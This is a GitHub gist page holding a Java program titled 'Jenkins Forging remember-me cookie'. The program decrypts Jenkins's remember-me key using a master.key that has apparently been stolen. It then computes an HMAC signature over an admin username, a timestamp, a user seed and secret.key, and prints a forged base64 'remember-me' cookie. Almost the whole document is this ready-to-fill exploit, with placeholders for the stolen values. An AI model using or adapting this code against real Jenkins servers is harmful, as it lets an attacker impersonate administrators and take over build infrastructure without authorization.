Skip to content

Instantly share code, notes, and snippets.

@mtiennnnn
Created May 30, 2024 03:45
Show Gist options
  • Save mtiennnnn/551b7320c064db02aad815c6bdb91d9c to your computer and use it in GitHub Desktop.
Save mtiennnnn/551b7320c064db02aad815c6bdb91d9c to your computer and use it in GitHub Desktop.
Jenkins Forging remember-me cookie
// Sorry about my spaghetti code
import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.Path;
import java.security.GeneralSecurityException;
import java.security.InvalidKeyException;
import javax.crypto.SecretKey;
import java.security.NoSuchAlgorithmException;
import javax.crypto.spec.SecretKeySpec;
import javax.crypto.SecretKey;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.CipherInputStream;
import javax.crypto.CipherOutputStream;
import javax.crypto.SecretKey;
import java.io.File;
import hudson.Util;
import hudson.util.Secret;
import hudson.util.TextFile;
import java.io.InputStream;
import java.io.OutputStream;
import java.nio.file.Files;
import java.util.Base64;
public class Main {
public static void main(String[] args) throws GeneralSecurityException, IOException {
byte[] ass = "::::MAGIC::::".getBytes(StandardCharsets.US_ASCII);
for (byte b : ass) {
//System.out.print(b + " ");
}
////////////////////////////// GIVE ME SOME INFO //////////////////////////////
SecretKey masterKey = Util.toAes128Key("<master.key>");
Cipher sym = Secret.getCipher("AES");
sym.init(2, masterKey);
InputStream fis = Files.newInputStream(Path.of("<path to binary remember>"));
//////////////////////////////////////////////////////////////////////////////
CipherInputStream cis = new CipherInputStream(fis, sym);
byte[] bytes = cis.readAllBytes();
byte[] var7;
int payloadLen = bytes.length - "::::MAGIC::::".getBytes(StandardCharsets.US_ASCII).length;
byte[] truncated = new byte[0];
if (payloadLen < 0) {
System.out.println("ngu");
} else {
for (int i = 0; i < "::::MAGIC::::".getBytes(StandardCharsets.US_ASCII).length; ++i) {
if (bytes[payloadLen + i] != "::::MAGIC::::".getBytes(StandardCharsets.US_ASCII)[i]) {
System.out.println("wtf");
}
}
truncated = new byte[payloadLen];
System.arraycopy(bytes, 0, truncated, 0, truncated.length);
for (byte b : truncated) {
//System.out.print(b + " ");
}
System.out.println();
}
////////////////////////////// GIVE ME SOME INFO //////////////////////////////
StringBuilder buf = new StringBuilder();
String username = "<admin username>";
String timestamp = "<some timestamp>";
String userSeed = "<userSeed>";
String secretKey = "<secret.key>"
String usertoken = username + ":" + timestamp + ":" + userSeed + ":" + secretKey;
byte baaaa[] = usertoken.getBytes();
// for (byte b : baaaa) {
// System.out.print(b + " ");
// }
//////////////////////////////////////////////////////////////////////////////
System.out.println();
Mac mac = Mac.getInstance("HmacSHA256");
SecretKeySpec secretKeySpec = new SecretKeySpec(truncated, "HmacSHA256");
mac.init(secretKeySpec);
byte[] macResult = mac.doFinal(baaaa);
for (byte b : macResult) {
//System.out.print(b + " ");
}
for (byte b : macResult) {
int unsignedByte = b & 0xff;
if (unsignedByte < 16) {
buf.append('0');
}
buf.append(Integer.toHexString(unsignedByte));
}
System.out.println("[+] Foring remember-me cookie...");
System.out.println("[+] Timestamp: " + timestamp);
System.out.println("[+] signatureValue created: " + buf);
System.out.println();
String result = username + ":" + timestamp + ":" + buf;
byte[] encodedBytes = Base64.getEncoder().encode(result.getBytes());
System.out.println("[+] Cookie: " + result);
System.out.println("Cookie: remember-me=" + new String(encodedBytes));
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment